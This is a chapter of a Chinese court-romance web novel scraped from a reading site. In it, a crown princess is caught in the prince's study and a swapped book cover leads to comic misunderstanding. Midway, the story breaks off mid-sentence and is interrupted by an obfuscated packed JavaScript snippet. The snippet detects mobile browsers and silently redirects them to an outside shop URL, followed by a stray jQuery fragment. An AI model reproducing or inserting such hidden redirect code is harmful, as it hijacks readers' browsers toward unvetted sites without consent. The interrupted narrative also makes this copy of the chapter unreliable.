文趣网 > 其他小说 > 太子妃今天偷看到了吗 > 11. 看这种书
    “……耳坠掉了,我来找找。”言缨脑袋转得很快,随便扯了个借口,怕他不信,还把一只耳朵转向他。还好为了行动方便,她提前把耳坠摘了。

    裴元澈随着她的话,目光移到她泛红的耳朵上。他并没有留意过她平日里是不是戴了耳坠,谨慎起见,他手指落在她的耳上,两指合起,轻捻了一下她的耳垂,像是在分辨她穿耳的痕迹是否还在。

    嗯,没撒谎。

    手感温热柔软,随着动作,他心底生出一种异样的感觉。

    耳畔陌生的触感,还有他食指上的玉扳指贴在她脸颊上的冰凉,令言缨全身不自觉地一颤。

    裴元澈被她的抖动唤回了心神,耳中却回响起她叫嚣要勾引他的那些话。这个女人,果然就是在勾引他。

    但他岂是轻易会被勾引的。他赶紧放下手,表情一凛,继续审问道:“耳坠怎么会落在此处?这不是你该来的地方。”

    言缨表情无辜道:“可能是看书的时候不小心弄掉了,再说我怎么就不该来了?我不能来书房看书吗?”说完,她的手就往身后探去,像是在找什么。

    裴元澈以为她要找什么趁手器物动手,快她一步扣住她的手腕,说道:“怎么?又想出招?”

    言缨挣了几下,发现竟然挣不脱,有点泄气地说道:“放手,我只是要拿书给你看。”

    裴元澈并不轻易撒手,而是偏过头看她身后,桌上确实歪歪扭扭扔着一本他未见过的书。

    将信将疑地把书拿起来,看了一眼封面书名——四海风物志。

    “还给我!”言缨此前让枫荷取来的就是这本书。

    “这么正常的书,你紧张什么?”裴元澈疑心大起,拿着书的手举高,比他矮一头的言缨刚好够不到。他翻开封面查看里面,发现还有另一套封面,竟然是套皮书。

    果然没那么简单,他倒要看看,这女人费尽心机潜到他身边要干什么。结果定睛一看,里页上写着:风流王爷俏王妃。

    “……你看这个用得着来书房?”他看到书名字之后,无语极了,低头一看满脸紧张的言缨正爬树一般趴在他身上。

    他立刻把书塞推回她手里,拉开两人的距离。

    言缨接过,伸手抹平被他捏皱了的封面,抱怨道:“要你管。”

    说归说,好在顺利转移了他的注意力,言缨暗自庆幸。

    裴元澈没有再追问耳坠的事,皱着眉理了理被她蹭皱的衣襟,坐回到桌前。

    言缨正准备趁他不注意离开,手刚搭上门,还没推就听身后的人说道:“跑什么,有话问你。”

    她暗骂道,他怎么那么多事。不情不愿地转过身走到他跟前,手里还不忘抱着那书,像是怕他要抢一般。

    “把书放下,没人抢你的。以后要来就来,别鬼鬼祟祟的。”裴元澈心想,她若要做什么,肯定不会就这么善罢甘休,还不如放在自己眼皮子底下盯着。

    “哦,知道了。”言缨见他没起疑,心说算你识相,随后理所当然地把她那本书放在那摞治国之策书籍顶端,拉了张椅子坐下,等着他开口。

    裴元澈道:“今天皇后把你留下,都说什么了?”

    言缨压根没把皇后说的话当回事,歪着头回忆了半天才想起来,说道:“她说怕我在这孤单,要安排几个姑娘来陪我。”

    “那你怎么说的?”裴元澈就知道皇后没那么容易放弃此事,成亲前她就多次以关心的名义要往东宫送人,如今有了太子妃还是一样。

    言缨道:“我说我做不了主,得问殿下,她也没说什么。”

    “还算机灵,”裴元澈嘴角弯了弯,难得觉得这女人没给她添堵,又说了句,“若以后她再提,便这么说。”

    “等一下,你是说,以后还会有这种事?”言缨听他这么讲,脸都垮下来,心说太子妃这个差事真难做啊。

    “她目的没达到,自然不会罢休,所以我才让你同我扮作恩爱,你好好配合,她借口就少了。”裴元澈感觉自己现在耐心真够好,还一字一句给她解释个中缘由。

    “这和我们是不是恩爱有何关系?”言缨只是出于多一事不如少一事而回绝沈皇后。

    “……你以为她送姑娘真是陪你的?”裴元澈有时候真不知道她是太会装无知,还是真这么单纯。

    被他这样反问,言缨才明白过来,陪伴她是托词,实际是想往太子床上送人。宫里这些人,说话含蓄,干的却尽是些上不了台面的事。

    言缨发现,裴元澈心有所属,便拒绝了其他的女子,倒是挺忠贞,这么一想,这人也不是没有可取之处。看他的眼神都变得柔和了些。

    裴元澈被盯得有些不自在,看她那神情不知道又在想些什么,只觉得有些心烦,便开口道:“别用那种眼神看我,回你自己寝宫去。”

    言缨刚对他升起那点好印象又被他一句话给浇灭了,瞪了他一眼,不等他还击就跑掉了。

    书房终于只剩他。

    裴元澈竟觉得,书房上次这般安静,好像是上辈子的事。言缨那丫头,他说一句她怼十句,吵得他好生头疼。

    休息了片刻,他叫来枫荷。

    “今日她做了什么事?”裴元澈问道。

    枫荷把她今日对言缨所见所闻通通说了,裴元澈没发现什么异常之处,便说:“继续盯着。”

    “是,殿下,”枫荷躬身答复后,犹豫了一下,又说道,“今日太子妃殿下赏了奴婢一支白玉簪和一对青玉耳坠。”

    裴元澈看了一眼枫荷拿在手里的首饰,轻哼一声道:“看着挺笨,倒是会收买人心。”

    枫荷低着头,心中却觉得太子妃并非那般不堪,但她不敢对太子殿下有微词,就沉默着没作声。

    “太子妃赏的,你便戴吧,”裴元澈顿了一下,又说,“明日把书房腾出一些地方来给太子妃。”

    “是,殿下。”枫荷心想,殿下嘴上责备太子妃,没想到心里还挺惦记她,就是不知道太子妃能否领会到。

    枫荷出去后,裴元澈目光扫到那本刚才言缨放下的书。

    他本不好奇,但想起她刚才那么紧张地抢夺,竟想看看里面到底是什么内容,还让她非得套个《四海风物志》的皮在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797056|210533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    外面。

    本以为是才子佳人的俗套故事,他随便翻了几页,里面竟通篇都是床笫之事,写得直白露骨,文笔倒是不俗。他摇了摇头,心想,她喜欢看这种?

    翻书时无意间用手指捻了一下书页,却忽然想起方才揉捻她耳垂时的触感,柔软、温热,那种感觉让他不禁口中干涩,喉间发紧。

    须臾过后,回过神来,赶紧把那本书丢到一边。一定是这话本蛊惑他,让他有了奇怪的念想。

    放到一边后,裴元澈又不自觉地看了那邪书一眼。意识到自己不对劲后,赶紧把它压在其他书下面。不该看的书,眼不见为净。

    *

    言缨回寝宫的路上一直在思索如何办皇帝给她的那桩差事,但最终也没理出什么头绪。于是打算换个方向,先研究一下她手里那块玉佩。

    来北梁之前,她做了些准备,专门从南周的文思院带了一些和玉佩制作相关的书籍,今日让枫荷去库房在她嫁妆中取的《四海风物志》就是其中一部。

    刚刚在书房,她怕裴元澈一翻开就发现关于玉佩那页她折了角,紧张得不行。好在,他看起来没发现她的心思。

    回到房内,她正准备好好研读一番,却发现,书不见了。回想了一下,好像离开书房忘了拿走。

    现在桌上只有一本《风流王爷俏王妃》,是师姐塞给她的话本子,她准备晚上睡前打发时间的。顺手翻了一下,等一下,这里面怎么会是《四海风物志》?

    坏了,如果她手里的是《四海风物志》,那落在裴元澈那的不就是《风流王爷俏王妃》?

    她虽然还没仔细看过那本书,但是之前随手翻了两下。任意打开一页看,都是让人面红耳赤的内容。

    师姐塞给她的时候还笑嘻嘻地说,怕她在宫里无聊,这本书的文笔上乘,是难得一见的好东西。可能是路上师姐翻看的时候为了掩人耳目,才把两本书的外皮换了一下。

    但是那本书如今在裴元澈手里,若他没看便罢了,他若是看了……言缨不敢往下想了,她得把书夺回来才行!

    至于什么时候去取书,她犯了难,愁得她在屋里来回转圈。要不等他出去了再去偷偷取回来?但要是再被他逮住她在书房偷偷摸摸,怕是会引起更大的误解。

    纠结了半个时辰,她还是决定尽快拿回来,不然心里会一直惴惴不安,晚上更是没办法睡觉。她怀着心事到了书房门口,天已经黑了,见裴元澈还神色如常地坐在那里看大理寺案卷。

    但愿他没有翻那本书。

    言缨走到裴元澈跟前,他像没看见似的,也没抬眼看她。

    “咳咳。”言缨出声提醒。

    “又怎么了?”裴元澈漫不经心地翻着手里的奏折,表情淡然。

    “我的书落下了,来拿一下。”言缨说完就凑到他跟前,想伸手在一摞书里翻找,她记得明明放在最上面了。

    裴元澈这坏东西,在她动手之前,一巴掌按住那摞书,摆明了不让她翻。

    “别乱动,什么书?我给你找。”裴元澈终于抬起眼皮看她,等她亲口说出答案。